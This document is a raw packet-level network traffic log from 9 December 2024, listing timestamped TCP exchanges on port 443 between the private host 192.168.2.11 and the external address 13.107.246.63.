Dec 9, 2024 06:50:17.310246944 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.310251951 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.590984106 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.591058969 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.591177940 CET	49874	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.591413021 CET	49874	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.591434002 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.591447115 CET	49874	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.591451883 CET	443	49874	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.594089985 CET	49880	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.594155073 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.594747066 CET	49880	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.594984055 CET	49880	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.594995022 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.715945005 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.716450930 CET	49877	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.716479063 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.716892004 CET	49877	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.716905117 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.741972923 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.742897987 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.745034933 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.745136023 CET	49875	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.745666981 CET	49875	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.745695114 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.745707989 CET	49875	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.745712996 CET	443	49875	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.746429920 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.746475935 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.746505976 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.746577978 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.747272015 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.747293949 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.747308969 CET	49876	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.747320890 CET	443	49876	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.750164986 CET	49881	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.750225067 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.750380039 CET	49881	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.750524044 CET	49882	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.750566006 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.750741005 CET	49882	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.750921011 CET	49881	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.750935078 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:17.751102924 CET	49882	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:17.751116991 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.155560017 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.155627966 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.155829906 CET	49877	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.155914068 CET	49877	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.155932903 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.155946016 CET	49877	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.155951023 CET	443	49877	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.158572912 CET	49883	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.158612967 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.158721924 CET	49883	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.158855915 CET	49883	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.158865929 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.308298111 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.308810949 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.308832884 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.309279919 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.309284925 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.592691898 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.592780113 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.594331026 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.594346046 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.594624996 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.595882893 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.639342070 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.741533041 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.745239973 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.745307922 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.745311975 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.745385885 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.745517015 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.745517015 CET	49878	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.745534897 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.745543957 CET	443	49878	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.748394966 CET	49884	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.748442888 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:18.748653889 CET	49884	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.748888016 CET	49884	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:18.748903990 CET	443	49884	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.156008959 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.156049013 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.156126022 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.156148911 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.156176090 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.156196117 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.156218052 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.309319019 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.309809923 CET	49880	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.309838057 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.310256958 CET	49880	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.310269117 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.330049038 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.330076933 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.330137014 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.330151081 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.330179930 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.367322922 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.367350101 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.367403030 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.367412090 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.367441893 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.367455959 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.462908983 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.463397980 CET	49881	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.463423014 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.463835955 CET	49881	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.463844061 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.464689970 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.464962959 CET	49882	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.464982986 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.465415001 CET	49882	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.465420008 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.500330925 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.500359058 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.500406981 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.500416994 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.500457048 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.529177904 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.529205084 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.529278040 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.529287100 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.529581070 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.553884983 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.553915977 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.553975105 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.553991079 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.554023981 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.581248999 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.581280947 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.581393957 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.581412077 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.581614017 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.693538904 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.693567038 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.693619013 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.693644047 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.693671942 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.693694115 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.708945036 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.708971977 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.709050894 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.709059000 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.709100008 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.722510099 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.722537994 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.722589970 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.722598076 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.722615004 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.722634077 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.736154079 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.736181974 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.736253977 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.736268997 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.736295938 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.736309052 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.743765116 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.746881962 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.747127056 CET	49880	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.747275114 CET	49880	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.747296095 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.747308969 CET	49880	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.747318983 CET	443	49880	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.748680115 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.748711109 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.748790979 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.748800039 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.748828888 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.748840094 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.750174046 CET	49885	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.750219107 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.750296116 CET	49885	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.750431061 CET	49885	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.750439882 CET	443	49885	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.762705088 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.762733936 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.762784958 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.762794018 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.762829065 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.762841940 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.830984116 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.831012964 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.831062078 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.831073999 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.831084967 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.831248999 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.872670889 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.874830008 CET	49883	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.874860048 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.875457048 CET	49883	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.875463963 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.882113934 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.882137060 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.882246017 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.882256985 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.882368088 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.891134977 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.891159058 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.891223907 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.891231060 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.891252995 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.891277075 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.897716999 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.897897005 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.897923946 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.897974968 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.897990942 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.898010969 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.898047924 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.900567055 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.901196957 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.901272058 CET	49882	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.901388884 CET	49882	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.901410103 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.901421070 CET	49882	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.901426077 CET	443	49882	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.903481007 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.903575897 CET	49881	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.903613091 CET	49881	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.903628111 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.903654099 CET	49881	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.903660059 CET	443	49881	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.904025078 CET	49886	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.904057026 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.904141903 CET	49886	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.904287100 CET	49886	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.904299974 CET	443	49886	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.905450106 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.905476093 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.905570984 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.905577898 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.905841112 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.905932903 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.905978918 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.906054020 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.906166077 CET	49887	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.906179905 CET	443	49887	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.912909031 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.912931919 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.912982941 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.912988901 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.913014889 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.913039923 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.920505047 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.920531034 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.920593023 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.920599937 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.920656919 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.927500963 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.927527905 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.927570105 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.927576065 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:19.927612066 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:19.927676916 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.070632935 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.070667028 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.070744038 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.070770979 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.070873022 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.076314926 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.076344013 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.076395988 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.076409101 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.076447010 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.076472998 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.083755970 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.083777905 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.083839893 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.083851099 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.083992958 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.091146946 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.091171026 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.091232061 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.091239929 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.091372013 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.098655939 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.098679066 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.098753929 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.098762989 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.098823071 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.111071110 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.111098051 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.111151934 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.111170053 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.111193895 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.111213923 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367227077 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367248058 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367286921 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367333889 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367357016 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367369890 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367373943 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367407084 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367428064 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367433071 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367459059 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367485046 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367486954 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367496967 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367552042 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367666960 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367681026 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367733955 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367738962 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367748022 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367763996 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367796898 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367801905 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367827892 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367830992 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367847919 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367882013 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367887020 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367909908 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367911100 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367930889 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367969036 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367974043 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367983103 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.367985010 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.367995977 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.368048906 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.368051052 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.368061066 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.368093014 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.368134022 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.368134022 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.368141890 CET	443	49879	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.368151903 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.368175030 CET	49879	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.368206024 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.368256092 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.368315935 CET	49883	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.368493080 CET	49883	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:20.368513107 CET	443	49883	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:20.368522882 CET	49883	443	192.168.2.11	13.107.246.63
